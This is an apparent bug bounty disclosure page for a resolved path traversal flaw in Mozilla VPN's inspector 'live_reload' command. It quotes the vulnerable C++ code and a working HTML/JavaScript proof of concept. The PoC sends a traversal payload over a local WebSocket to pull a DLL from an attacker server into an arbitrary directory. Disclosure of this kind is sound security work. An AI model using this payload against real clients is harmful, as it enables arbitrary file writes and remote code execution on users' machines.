Loading HuntDB...

Mozilla VPN Clients: RCE via file write and path traversal

High
M
Mozilla
Submitted None

Team Summary

Official summary from Mozilla

The report identifies a path traversal vulnerability in Mozilla VPN's client software that leads to Remote Code Execution (RCE). The vulnerability exists in the "live_reload" command of the client's inspector feature, which can be accessed when the client is in developer mode with "Use Staging Servers" enabled. The vulnerable code in the InspectorHotreloader::fetchAndAnnounce() function fails to properly sanitize file paths when downloading remote files to a temporary folder, allowing path traversal via the ".." sequence in Windows file paths. This enables an attacker to write arbitrary files to any location on the filesystem, which can be leveraged to achieve code execution.

Reported by trein

Vulnerability Details

Technical details and impact analysis

Path Traversal
## Summary: Hi! I decided to have another look at the Mozilla VPN Client, after #2920675 was set to resolved. When going over all commands in the inspector, I noticed the "live_reload" command can be used with remote files. When using this command, the remote file is downloaded to a tmp folder. The problem is that there is a path traversal here, meaning we can override any file on the filesystem (tested on Windows). Vulnerable code (InspectorHotreloader::fetchAndAnnounce() https://github.com/mozilla-mobile/mozilla-vpn-client/blob/main/src/inspector/inspectorhotreloader.cpp): ``` QObject::connect( request, &NetworkRequest::requestCompleted, [this, path, dummy_task](const QByteArray& data) { dummy_task->deleteLater(); auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName()); auto temp_file = new QFile(temp_path); temp_file->open(QIODevice::WriteOnly); if (!temp_file->write(data)) { logger.warning() << "Unable to write to file:" << temp_file->fileName(); return; } if (!temp_file->flush()) { logger.warning() << "Unable to flush to file:" << temp_file->fileName(); return; } temp_file->close(); QFileInfo info(temp_path); annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath())); }); ``` You can see in the above snippet, that the temp_path is simply a concatenation of a set directory and our filename. ## Steps To Reproduce: 1. Download Mozilla VPN here: https://www.mozilla.org/en-US/products/vpn/download/ 1. Turn on developer mode (see video PoC below): 1. Open the help menu 1. Click the "Help" title 6 times rapidly 1. In the developer options, check "Use Staging Servers" 1. Fully close and reopen 1. Save the following HTML and open it (change to your attacker_server) ``` html <script> var ws = new WebSocket('ws://localhost:8765/'); var attacker_server = "███████" // needs to be HTTP, no HTTPS payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll` ws.onopen = function() { ws.send(payload); }; ws.onmessage = function(event) { document.getElementById("data").innerText += event.data + "\n"; }; </script> <h1>Data retrieved:</h1> <div id="data"></div> ``` 1. Notice the file was written to C:\Users\user\AppData\Local\Mozilla instead of C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload. ## Supporting Material/References: █████ Happy to help if anything is unclear! ## Impact Any file can be overridden leading to RCE. This is exploitable via limited user interaction (simply opening the attacker site) when the staging servers are being used. ==Note that this does not work on macOS.== The impact is the same as in #2920675.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$6000.00

Submitted

Weakness

Path Traversal